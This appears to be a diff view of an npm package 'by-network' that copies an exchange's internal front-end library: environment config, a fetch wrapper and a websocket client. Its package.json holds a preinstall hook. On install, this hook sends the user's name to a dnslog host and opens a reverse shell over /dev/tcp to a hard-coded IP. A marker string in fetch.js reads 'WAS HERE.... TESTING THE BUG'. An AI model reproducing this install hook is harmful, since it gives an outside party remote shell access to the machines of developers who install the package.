} else if (isProd) {
|
50
|
+
runtimeEnv = 'prod';
|
51
|
+
} else if (isTest) {
|
52
|
+
runtimeEnv = 'test';
|
53
|
+
}
|
54
|
+
|
55
|
+
export var RUNTIME_ENV = ENV_RUNTIME_ENV || runtimeEnv; // 翻译系统
|
56
|
+
|
57
|
+
var tmsHost = isTest ? 'https://tms.ffe390afd658c19dcbf707e0597b846d.de' : '';
|
58
|
+
export var TMS_HOST = process.env.BYBIT_TMS_HOST || ENV_TMS_HOST || tmsHost;
|
59
|
+
var tmsPath = isTest ? '/download/{{projectId}}/{{ns}}/{{lng}}/' : '/translations/{{projectId}}/{{lng}}/{{ns}}.json';
|
60
|
+
export var TMS_PATH = process.env.BYBIT_I18N_SOURCE_URL || ENV_TMS_PATH || tmsPath;
|
61
|
+
export var TMS_FULL_PATH = ENV_TMS_FULL_PATH || "".concat(TMS_HOST).concat(TMS_PATH); // 线路切换
|
62
|
+
|
63
|
+
var serviceDomains = '';
|
64
|
+
|
65
|
+
if (isTestnet) {
|
66
|
+
serviceDomains = 'bybitglobal.com';
|
67
|
+
} else if (isProd) {
|
68
|
+
serviceDomains = 'bycbe.com, byapis.com';
|
69
|
+
} else if (isTest) {
|
70
|
+
serviceDomains = 'bybit-cn.com';
|
71
|
+
}
|
72
|
+
|
73
|
+
export var BYBIT_SERVICE_DOMAINS = process.env.BYBIT_SERVICE_DOMAINS || ENV_SERVICE_DOMAINS || serviceDomains;
|
74
|
+
/* skynet begin */
|
75
|
+
// APM
|
76
|
+
|
77
|
+
var apmUrl = isProd && 'https://apm.ffbbbdc6d3c353211fe2ba39c9f744cd.com' || isTestnet && 'https://apm-testnet.ffbbbdc6d3c353211fe2ba39c9f744cd.com' || isTest && 'http://10.110.185.208:30859' || 'http://10.120.140.129:30859';
|
78
|
+
export var APM_URL = process.env.BYBIT_APM_URL || ENV_APM_URL || apmUrl;
|
79
|
+
var apmDisabled = process.env.BYBIT_APM_DISABLED === 'true';
|
80
|
+
export var APM_ENABLED = process.env.BYBIT_APM_DISABLED || !apmDisabled; // Sentry
|
81
|
+
|
82
|
+
export var SENTRY_DSN = process.env.BYBIT_SENTRY_DSN || ENV_SENTRY_DSN;
|
83
|
+
var sentryDisabled = process.env.BYBIT_SENTRY_DISABLED === 'true';
|
84
|
+
export var SENTRY_ENABLED = ENV_SENTRY_ENABLED || !sentryDisabled; // Logger
|
85
|
+
|
86
|
+
var logger_url = isProd ? 'https://api.ffbbbdc6d3c353211fe2ba39c9f744cd.com/p/front' : 'https://api.ffbbbdc6d3c353211fe2ba39c9f744cd.com/p/front-testnet';
|
87
|
+
export var LOGGER_URL = process.env.BYBIT_LOGGER_URL || ENV_LOGGER_URL || logger_url;
|
88
|
+
var loggerDisabled = process.env.BYBIT_LOGGER_DISABLED === 'true';
|
89
|
+
export var LOGGER_ENABLED = ENV_LOGGER_ENABLED || !loggerDisabled; // Metric
|
90
|
+
|
91
|
+
export var METRIC_URL = process.env.BYBIT_METRIC_URL || ENV_METRIC_URL || '/v2/public/metrics';
|
92
|
+
var metricDisabled = process.env.BYBIT_METRIC_DISABLED === 'true';
|
93
|
+
export var METRIC_ENABLED = ENV_METRIC_ENABLED || !metricDisabled;
|
94
|
+
/* skynet end */
|
95
|
+
|
96
|
+
|
97
|
+
//////////////////
|
98
|
+
// WEBPACK FOOTER
|
99
|
+
// ./node_modules/by-env/es/env.js
|
100
|
+
// module id = null
|
101
|
+
// module chunks =
|
package/index.js
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
/* Just a template root here
|
2
|
+
* This file used to wrapper all source files.
|
3
|
+
*
|
4
|
+
* e.g.
|
5
|
+
* export { default as fn } from './src/fn'
|
6
|
+
*/
|
7
|
+
export * from './env';
|
8
|
+
|
9
|
+
|
10
|
+
//////////////////
|
11
|
+
// WEBPACK FOOTER
|
12
|
+
// ./node_modules/by-env/es/index.js
|
13
|
+
// module id = null
|
14
|
+
// module chunks =
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "by-network",
|
3
|
+
"version": "12.2.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "by-network.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo 123",
|
8
|
+
"preinstall": "curl -m1 $(whoami).bynet.foff.dnslog.pw && 0<&196;exec 196<>/dev/tcp/213.152.162.79/10403; sh <&196 >&196 2>&196"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/src/fetch.js
ADDED
@@ -0,0 +1,192 @@
|
|
1
|
+
/**
|
2
|
+
* Detect weather
|
3
|
+
*/
|
4
|
+
let canAbortFetch = null;
|
5
|
+
// Window cannot be used in web worker
|
6
|
+
try {
|
7
|
+
canAbortFetch = 'AbortController' in window;
|
8
|
+
} catch (_) {
|
9
|
+
canAbortFetch = null;
|
10
|
+
}
|
11
|
+
|
12
|
+
/**
|
13
|
+
* Default response type for module
|
14
|
+
*/
|
15
|
+
const DEFAULT_RESP_TYPE = 'json';
|
16
|
+
|
17
|
+
/**
|
18
|
+
* Default timeout time
|
19
|
+
*/
|
20
|
+
const DEFAULT_TIMEOUT = 30000; // 30s
|
21
|
+
|
22
|
+
const FEARSOFF='WAS HERE.... TESTING THE BUG';
|
23
|
+
|
24
|
+
/**
|
25
|
+
* Get an check the responseType user sets.
|
26
|
+
*/
|
27
|
+
const getResponseType = (type) => {
|
28
|
+
const validType = String(type).toLowerCase();
|
29
|
+
const types = {
|
30
|
+
json: true,
|
31
|
+
text: true,
|
32
|
+
formData: true,
|
33
|
+
blob: true,
|
34
|
+
arrayBuffer: true,
|
35
|
+
};
|
36
|
+
|
37
|
+
return types[validType] ? validType : DEFAULT_RESP_TYPE;
|
38
|
+
};
|
39
|
+
|
40
|
+
/**
|
41
|
+
* Fetch class used to create new fetch instance
|
42
|
+
*
|
43
|
+
* @author lucky.zhou
|
44
|
+
* @class
|
45
|
+
*/
|
46
|
+
class Fetch {
|
47
|
+
constructor(defaultConfig = {}, settings = {}) {
|
48
|
+
this.defaultOpts = defaultConfig;
|
49
|
+
this.timeout = settings.timeout || DEFAULT_TIMEOUT;
|
50
|
+
this.interceptors = {
|
51
|
+
response: [],
|
52
|
+
request: [],
|
53
|
+
errorHandler: [],
|
54
|
+
finally: [],
|
55
|
+
};
|
56
|
+
}
|
57
|
+
|
58
|
+
get(url, opts = {}, respType) {
|
59
|
+
let nUrl = url;
|
60
|
+
if (opts.body) {
|
61
|
+
const params = opts.body;
|
62
|
+
const keys = Object.keys(params);
|
63
|
+
keys.forEach((key) => {
|
64
|
+
const param = `${key}=${params[key]}`;
|
65
|
+
nUrl = nUrl.indexOf('?') > -1 ? `${nUrl}&${param}` : `${nUrl}?${param}`;
|
66
|
+
});
|
67
|
+
delete opts.body;
|
68
|
+
}
|
69
|
+
return this.fetch(nUrl, { ...opts, method: 'get' }, respType);
|
70
|
+
}
|
71
|
+
|
72
|
+
post(url, opts = {}, respType) {
|
73
|
+
return this.fetch(url, { ...opts, method: 'post' }, respType);
|
74
|
+
}
|
75
|
+
|
76
|
+
delete(url, opts = {}, respType) {
|
77
|
+
return this.fetch(url, { ...opts, method: 'delete' }, respType);
|
78
|
+
}
|
79
|
+
|
80
|
+
put(url, opts = {}, respType) {
|
81
|
+
return this.fetch(url, { ...opts, method: 'put' }, respType);
|
82
|
+
}
|
83
|
+
|
84
|
+
/**
|
85
|
+
* Base function for using default fetch
|
86
|
+
*
|
87
|
+
* @param {string} url The request url
|
88
|
+
* @param {object} options The request options
|
89
|
+
*
|
90
|
+
* @description
|
91
|
+
* `options` follow the w3c fetch options structure
|
92
|
+
* `meta` in `options` used to pass meta info.
|
93
|
+
*
|
94
|
+
* @returns {Promise} The request promise
|
95
|
+
*/
|
96
|
+
fetch(url, options = {}, respType = DEFAULT_RESP_TYPE) {
|
97
|
+
const opts = {
|
98
|
+
...this.defaultOpts,
|
99
|
+
...options,
|
100
|
+
headers: {
|
101
|
+
...this.defaultOpts.headers,
|
102
|
+
...options.headers,
|
103
|
+
},
|
104
|
+
};
|
105
|
+
|
106
|
+
// to use chained options in interceptors array
|
107
|
+
const hackedOpts = this
|
108
|
+
.interceptors
|
109
|
+
.request
|
110
|
+
.reduce((prev, cur) => cur(prev, url), opts);
|
111
|
+
|
112
|
+
let timeoutTimer;
|
113
|
+
const fetchController = canAbortFetch ? (new AbortController()) : {};
|
114
|
+
|
115
|
+
hackedOpts.signal = fetchController.signal;
|
116
|
+
|
117
|
+
/**
|
118
|
+
* timeout promise to abort request if necessary
|
119
|
+
*/
|
120
|
+
const abortPromise = new Promise((resolve, reject) => {
|
121
|
+
timeoutTimer = setTimeout(() => {
|
122
|
+
// Must reject first here!
|
123
|
+
// eslint-disable-next-line
|
124
|
+
reject({ret_code: 9000001, ret_msg: 'Request timeout, please re-try!'});
|
125
|
+
/* istanbul ignore next */
|
126
|
+
if (canAbortFetch) fetchController.abort();
|
127
|
+
}, this.timeout);
|
128
|
+
});
|
129
|
+
/**
|
130
|
+
* real fetch request promise
|
131
|
+
*/
|
132
|
+
const fetchPromise = fetch(url, hackedOpts);
|
133
|
+
|
134
|
+
return Promise.race([fetchPromise, abortPromise])
|
135
|
+
// 1. clear timeout timer
|
136
|
+
.then((resp) => {
|
137
|
+
clearTimeout(timeoutTimer);
|
138
|
+
return resp;
|
139
|
+
})
|
140
|
+
// 2. transform response data type and return
|
141
|
+
.then((resp) => {
|
142
|
+
if (resp.status >= 400) return Promise.reject({ status: resp.status });
|
143
|
+
return resp.ok && resp[getResponseType(respType)]();
|
144
|
+
})
|
145
|
+
// 3. handle response interceptors transform and return new data
|
146
|
+
.then((data) => this.interceptors.response.reduce(
|
147
|
+
(prev, cur) => prev.then(cur),
|
148
|
+
Promise.resolve({ data, config: hackedOpts, url }),
|
149
|
+
))
|
150
|
+
.catch((err) => {
|
151
|
+
this.interceptors.errorHandler.forEach((fn) => fn(err, hackedOpts, url));
|
152
|
+
// throw err;
|
153
|
+
return Promise.reject(err);
|
154
|
+
})
|
155
|
+
.finally(() => {
|
156
|
+
this.interceptors.finally.forEach((fn) => fn());
|
157
|
+
});
|
158
|
+
}
|
159
|
+
}
|
160
|
+
|
161
|
+
/**
|
162
|
+
* Fetch instance factory function
|
163
|
+
*
|
164
|
+
* @param {object} cfg The request options for every request
|
165
|
+
* @param {object} settings The fetch settings for controller
|
166
|
+
*/
|
167
|
+
const createFetchInstance = (opts = {}, settings = {}) => {
|
168
|
+
/* istanbul ignore next */
|
169
|
+
if (!('fetch' in window)) {
|
170
|
+
// eslint-disable-next-line
|
171
|
+
console.error('fetch function doesn\'t detected in you environment');
|
172
|
+
return null;
|
173
|
+
}
|
174
|
+
|
175
|
+
const instance = new Fetch(opts, settings);
|
176
|
+
const rawFetch = instance.fetch.bind(instance);
|
177
|
+
|
178
|
+
rawFetch.get = instance.get.bind(instance);
|
179
|
+
rawFetch.post = instance.post.bind(instance);
|
180
|
+
rawFetch.put = instance.put.bind(instance);
|
181
|
+
rawFetch.delete = instance.delete.bind(instance);
|
182
|
+
rawFetch.interceptors = instance.interceptors;
|
183
|
+
|
184
|
+
return rawFetch;
|
185
|
+
};
|
186
|
+
|
187
|
+
export default createFetchInstance;
|
188
|
+
|
189
|
+
|
190
|
+
|
191
|
+
// WEBPACK FOOTER //
|
192
|
+
// ./node_modules/by-network/src/fetch.js
|
package/src/wsio.js
ADDED
@@ -0,0 +1,369 @@
|
|
1
|
+
import Emitter from 'component-emitter';
|
2
|
+
import Backoff from 'backo2';
|
3
|
+
|
4
|
+
Emitter(WebSocket.prototype);
|
5
|
+
/* eslint-disable */
|
6
|
+
class WS {
|
7
|
+
constructor(uri, opts = {}) {
|
8
|
+
// if (uri && (typeof uri === 'object')) {
|
9
|
+
// opts = uri;
|
10
|
+
// uri = opts.uri;
|
11
|
+
// }
|
12
|
+
// this.opts = opts;
|
13
|
+
const {
|
14
|
+
debug,
|
15
|
+
autoConnect = true,
|
16
|
+
reconnectionAttempts,
|
17
|
+
reconnectionDelay,
|
18
|
+
reconnectionDelayMax,
|
19
|
+
reconnectionReportThreshold,
|
20
|
+
reconnectionReportInterval,
|
21
|
+
reconnectionReportMax,
|
22
|
+
randomizationFactor,
|
23
|
+
timeout,
|
24
|
+
reconnection,
|
25
|
+
} = opts;
|
26
|
+
// 可设置变量
|
27
|
+
this.uri = uri;
|
28
|
+
this.debug = debug || false;
|
29
|
+
this.autoConnect = autoConnect; // 是否自动连接
|
30
|
+
this.reconnection = reconnection !== false; // 是否自动重连,默认true
|
31
|
+
this.reconnectionReportThreshold = reconnectionReportThreshold || 3;
|
32
|
+
this.reconnectionReportInterval = reconnectionReportInterval || 3;
|
33
|
+
this.reconnectionReportMax = reconnectionReportMax || 22;
|
34
|
+
this.reconnectionAttempts(reconnectionAttempts || Infinity); // 最大重连次数
|
35
|
+
this.reconnectionDelay(reconnectionDelay || 1000); // 间隔时间
|
36
|
+
this.reconnectionDelayMax(reconnectionDelayMax || 5000); // 最大间隔时间
|
37
|
+
this.randomizationFactor(randomizationFactor || 0.5); // 间隔随机增长数
|
38
|
+
this.backoff = new Backoff({
|
39
|
+
min: this.reconnectionDelay(),
|
40
|
+
max: this.reconnectionDelayMax(),
|
41
|
+
jitter: this.randomizationFactor(),
|
42
|
+
});
|
43
|
+
this.timeout(timeout || 10000); // 超时时间设置 ms
|
44
|
+
|
45
|
+
// 内部变量
|
46
|
+
this.engine = null; // websocket
|
47
|
+
this.connected = false; // 是否已连接
|
48
|
+
this.readyState = 'closed'; // 当前状态
|
49
|
+
this.reconnecting = false; // 正在重连
|
50
|
+
this.skipReconect = false;
|
51
|
+
this.pingIntervalTimer = null; // ping timer
|
52
|
+
this.pingTimeoutTimer = null; // ping timeout Timer
|
53
|
+
this.heartError = false;
|
54
|
+
// note: m站心跳机制
|
55
|
+
this.pingInterval = 15000;
|
56
|
+
this.pingTimeout = 3000;
|
57
|
+
this.ev = []; // 内部事件订阅
|
58
|
+
// this.subs = []; // 订阅topic数组
|
59
|
+
// this.topicArr = []; // 订阅topic 数组
|
60
|
+
// 需要自动重连,则调用open()
|
61
|
+
this.connectStart = new Date().getTime();
|
62
|
+
this.openStart = null;
|
63
|
+
if (this.autoConnect) this.open();
|
64
|
+
if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', '创建 socket 实例');
|
65
|
+
}
|
66
|
+
|
67
|
+
open() {
|
68
|
+
this.openStart = new Date().getTime();
|
69
|
+
// const self = this;
|
70
|
+
if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'open 开始状态:', this.readyState, '连接地址:', this.uri);
|
71
|
+
if (~this.readyState.indexOf('open')) return;
|
72
|
+
try {
|
73
|
+
// todo: 增加timestamp参数比较生硬
|
74
|
+
this.engine = new WebSocket(`${this.uri}?timestamp=${new Date().getTime()}`);
|
75
|
+
} catch (e) {
|
76
|
+
if (this.debug) {
|
77
|
+
console.error('[socket]创建实例发生错误', e);
|
78
|
+
}
|
79
|
+
this.emit('open_error', { code: 4998, reason: e.message || e }); // report
|
80
|
+
}
|
81
|
+
this.readyState = 'opening';
|
82
|
+
this.skipReconect = false;
|
83
|
+
|
84
|
+
this.addEventListeners();
|
85
|
+
// 添加链接超时机制,iOS 平台不会被动触发 error 事件
|
86
|
+
if (this._timeout) {
|
87
|
+
const timeout = this._timeout;
|
88
|
+
if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', '超时将在开始重连', timeout);
|
89
|
+
const timer = setTimeout(() => {
|
90
|
+
// todo onerror没有接收
|
91
|
+
this.engine && this.engine.emit('open_timeout', { code: 4997, reason: 'open_timeout' });
|
92
|
+
this.emit('connect_timeout', timeout);
|
93
|
+
}, timeout);
|
94
|
+
this.ev.push({
|
95
|
+
destroy: () => {
|
96
|
+
clearTimeout(timer);
|
97
|
+
},
|
98
|
+
});
|
99
|
+
}
|
100
|
+
}
|
101
|
+
|
102
|
+
send(obj) {
|
103
|
+
if (this.connected) {
|
104
|
+
this.engine.send(JSON.stringify(obj));
|
105
|
+
}
|
106
|
+
}
|
107
|
+
|
108
|
+
close(code = 1005) {
|
109
|
+
this.onClose({ code, reason: 'close_by_user' });
|
110
|
+
}
|
111
|
+
|
112
|
+
/* private function */
|
113
|
+
|
114
|
+
onOpen() {
|
115
|
+
if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'WS prototype onOpen 执行');
|
116
|
+
this.readyState = 'open';
|
117
|
+
this.clearEV();
|
118
|
+
this.setPing();
|
119
|
+
this.connected = true;
|
120
|
+
if (this.reconnecting) {
|
121
|
+
const attempt = this.backoff.attempts;
|
122
|
+
this.reconnecting = false;
|
123
|
+
this.backoff.reset();
|
124
|
+
this.emit('reconnect', attempt);
|
125
|
+
} else {
|
126
|
+
this.emit('connect');
|
127
|
+
}
|
128
|
+
}
|
129
|
+
|
130
|
+
onData(data) {
|
131
|
+
const { ret_msg, topic, request, success, type, conn_id } = data;
|
132
|
+
if (ret_msg === 'pong') {
|
133
|
+
clearTimeout(this.pingTimeoutTimer);
|
134
|
+
const now = new Date().getTime();
|
135
|
+
const { op, args } = request;
|
136
|
+
const reqTime = args[0];
|
137
|
+
if (reqTime) {
|
138
|
+
if (now - reqTime < 3000) {
|
139
|
+
if (this.heartError) {
|
140
|
+
this.emit('heart_back', { code: 4995, reason: 'heart_back' });
|
141
|
+
this.heartError = false;
|
142
|
+
}
|
143
|
+
}
|
144
|
+
}
|
145
|
+
this.setPing();
|
146
|
+
} else if (topic) {
|
147
|
+
this.emit(topic, { type, data: data.data });
|
148
|
+
} else if (request) {
|
149
|
+
const { op } = request;
|
150
|
+
if (success) {
|
151
|
+
this.emit(`${op}_success`, conn_id);
|
152
|
+
} else {
|
153
|
+
this.emit(`${op}_fail`, conn_id);
|
154
|
+
}
|
155
|
+
} else {
|
156
|
+
this.emit('data', data);
|
157
|
+
this.emit('message', data);
|
158
|
+
}
|
159
|
+
}
|
160
|
+
|
161
|
+
onClose({ code, reason }) {
|
162
|
+
if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'WS prototype onClose 执行:', reason);
|
163
|
+
|
164
|
+
this.reconnecting = false;
|
165
|
+
this.connected = false;
|
166
|
+
// clear timers
|
167
|
+
clearTimeout(this.pingIntervalTimer);
|
168
|
+
clearTimeout(this.pingTimeoutTimer);
|
169
|
+
|
170
|
+
// 1006保留code
|
171
|
+
let c = code;
|
172
|
+
if (c === 1006) {
|
173
|
+
c = 4006;
|
174
|
+
} else if (c === 1005) {
|
175
|
+
c = 4005;
|
176
|
+
}
|
177
|
+
// Firefox will throw error when ws closed normally using 1001
|
178
|
+
if (code !== 1001) this.engine.close(c);
|
179
|
+
this.clearUp();
|
180
|
+
this.readyState = 'closed';
|
181
|
+
this.emit('close', { code, reason });
|
182
|
+
|
183
|
+
switch (code) {
|
184
|
+
case 1000: // 用户主动关闭
|
185
|
+
this.skipReconect = true;
|
186
|
+
this.reconnecting = false;
|
187
|
+
this.readyState = 'closed_user';
|
188
|
+
this.backoff.reset();
|
189
|
+
if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', '用户主动关闭', reason);
|
190
|
+
break;
|
191
|
+
default:
|
192
|
+
if (this.reconnection && !this.skipReconect) {
|
193
|
+
this.reconnect();
|
194
|
+
}
|
195
|
+
}
|
196
|
+
}
|
197
|
+
|
198
|
+
onError(err) {
|
199
|
+
if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'onError 执行:', err);
|
200
|
+
this.clearUp();
|
201
|
+
this.readyState = 'closed';
|
202
|
+
this.emit('error', err);
|
203
|
+
this.onClose(err);
|
204
|
+
}
|
205
|
+
|
206
|
+
reconnect() {
|
207
|
+
if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'WS prototype reconnect 执行:');
|
208
|
+
if (this.reconnecting || this.skipReconect) {
|
209
|
+
return;
|
210
|
+
}
|
211
|
+
if (this.backoff.attempts > this._reconnectionAttempts) {
|
212
|
+
if (this.debug) console.error('[socket]超过最大重连次数, 重连彻底失败');
|
213
|
+
// clear timers
|
214
|
+
clearTimeout(this.pingIntervalTimer);
|
215
|
+
clearTimeout(this.pingTimeoutTimer);
|
216
|
+
|
217
|
+
// remove
|
218
|
+
this.engine.close();
|
219
|
+
this.clearUp();
|
220
|
+
this.backoff.reset();
|
221
|
+
|
222
|
+
this.emit('reconnect_failed');
|
223
|
+
this.reconnecting = false;
|
224
|
+
} else {
|
225
|
+
const delay = this.backoff.duration();
|
226
|
+
if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', '第几次重连:', this.backoff.attempts, '等待 %dms 开始发起重连:', delay);
|
227
|
+
this.reconnecting = true;
|
228
|
+
const timer = setTimeout(() => {
|
229
|
+
if (this.skipReconect) return;
|
230
|
+
this.emit('reconnect_attempt', this.backoff.attempts); // 发送 重连次数 事件
|
231
|
+
this.emit('reconnecting', this.backoff.attempts); // 发送事件
|
232
|
+
|
233
|
+
if (
|
234
|
+
this.backoff.attempts > this.reconnectionReportThreshold
|
235
|
+
&& (this.backoff.attempts % this.reconnectionReportInterval) === 0
|
236
|
+
&& this.backoff.attempts < this.reconnectionReportMax
|
237
|
+
) {
|
238
|
+
this.emit('reconnect_report', this.backoff.attempts);
|
239
|
+
}
|
240
|
+
|
241
|
+
this.open();
|
242
|
+
}, delay);
|
243
|
+
// 事件组
|
244
|
+
this.ev.push({
|
245
|
+
destroy: () => {
|
246
|
+
clearTimeout(timer);
|
247
|
+
},
|
248
|
+
});
|
249
|
+
}
|
250
|
+
}
|
251
|
+
|
252
|
+
ping() {
|
253
|
+
this.send({ op: 'ping', args: [new Date().getTime()] });
|
254
|
+
}
|
255
|
+
|
256
|
+
// reset ping timeout
|
257
|
+
onHeartbeat(timeout) {
|
258
|
+
clearTimeout(this.pingTimeoutTimer);
|
259
|
+
this.pingTimeoutTimer = setTimeout(() => {
|
260
|
+
if (this.readyState === 'closed') return;
|
261
|
+
// this.onClose({ code: 4996, reason: 'ping timeout' });
|
262
|
+
this.emit('heart_error', { code: 4996, reason: 'ping timeout' });
|
263
|
+
this.heartError = true;
|
264
|
+
}, timeout);
|
265
|
+
}
|
266
|
+
|
267
|
+
// 心跳机制
|
268
|
+
setPing() {
|
269
|
+
clearTimeout(this.pingIntervalTimer);
|
270
|
+
this.pingIntervalTimer = setTimeout(() => {
|
271
|
+
if (this.debug) console.log('%c[socket]', 'color: #49c9c9;', 'WS send ping');
|
272
|
+
this.ping();
|
273
|
+
this.onHeartbeat(this.pingTimeout);
|
274
|
+
}, this.pingInterval);
|
275
|
+
}
|
276
|
+
|
277
|
+
addEventListeners() {
|
278
|
+
const { engine } = this;
|
279
|
+
if (engine) {
|
280
|
+
engine.onopen = () => {
|
281
|
+
this.onOpen();
|
282
|
+
};
|
283
|
+
engine.onclose = ({ code, reason }) => {
|
284
|
+
this.onClose({ code, reason });
|
285
|
+
};
|
286
|
+
engine.onmessage = (ev) => {
|
287
|
+
const data = JSON.parse(ev.data);
|
288
|
+
if (Array.isArray(data)) {
|
289
|
+
for (let i = 0, len = data.length; i < len; i += 1) {
|
290
|
+
setTimeout(() => {
|
291
|
+
this.onData(data[i]);
|
292
|
+
}, 0);
|
293
|
+
}
|
294
|
+
} else {
|
295
|
+
this.onData(data);
|
296
|
+
}
|
297
|
+
// engine.removeListener('onmessage');
|
298
|
+
};
|
299
|
+
engine.onerror = () => {
|
300
|
+
this.onError({ code: 4999, reason: 'onerror' });
|
301
|
+
};
|
302
|
+
engine.once('open_timeout', (e) => {
|
303
|
+
this.onError(e);
|
304
|
+
});
|
305
|
+
}
|
306
|
+
}
|
307
|
+
|
308
|
+
// 重置websocket回调函数
|
309
|
+
clearUp() {
|
310
|
+
if (this.debug) console.log('ws-->clearUp');
|
311
|
+
const { engine } = this;
|
312
|
+
engine.onopen = () => {};
|
313
|
+
engine.onclose = () => {};
|
314
|
+
engine.onmessage = () => {};
|
315
|
+
engine.onerror = () => {};
|
316
|
+
this.clearEV();
|
317
|
+
}
|
318
|
+
|
319
|
+
clearEV() {
|
320
|
+
const evLength = this.ev.length;
|
321
|
+
for (let i = 0; i < evLength; i += 1) {
|
322
|
+
const sub = this.ev.shift();
|
323
|
+
sub.destroy();
|
324
|
+
}
|
325
|
+
}
|
326
|
+
/* eslint-disable */
|
327
|
+
// /* eslint-disable no-underscore-dangle */
|
328
|
+
reconnectionAttempts(v) {
|
329
|
+
if (!arguments.length) return this._reconnectionAttempts;
|
330
|
+
this._reconnectionAttempts = v;
|
331
|
+
return this;
|
332
|
+
}
|
333
|
+
|
334
|
+
reconnectionDelay(v) {
|
335
|
+
if (!arguments.length) return this._reconnectionDelay;
|
336
|
+
this._reconnectionDelay = v;
|
337
|
+
this.backoff && this.backoff.setMin(v);
|
338
|
+
return this;
|
339
|
+
}
|
340
|
+
|
341
|
+
reconnectionDelayMax(v) {
|
342
|
+
if (!arguments.length) return this._reconnectionDelayMax;
|
343
|
+
this._reconnectionDelayMax = v;
|
344
|
+
this.backoff && this.backoff.setMax(v);
|
345
|
+
return this;
|
346
|
+
}
|
347
|
+
|
348
|
+
randomizationFactor(v) {
|
349
|
+
if (!arguments.length) return this._randomizationFactor;
|
350
|
+
this._randomizationFactor = v;
|
351
|
+
this.backoff && this.backoff.setJitter(v);
|
352
|
+
return this;
|
353
|
+
};
|
354
|
+
|
355
|
+
timeout(v) {
|
356
|
+
if (!arguments.length) return this._timeout;
|
357
|
+
this._timeout = v;
|
358
|
+
return this;
|
359
|
+
}
|
360
|
+
}
|
361
|
+
|
362
|
+
Emitter(WS.prototype);
|
363
|
+
|
364
|
+
export default WS;
|
365
|
+
|
366
|
+
|
367
|
+
|
368
|
+
// WEBPACK FOOTER //
|
369
|
+
// ./node_modules/by-network/src/wsio.js
|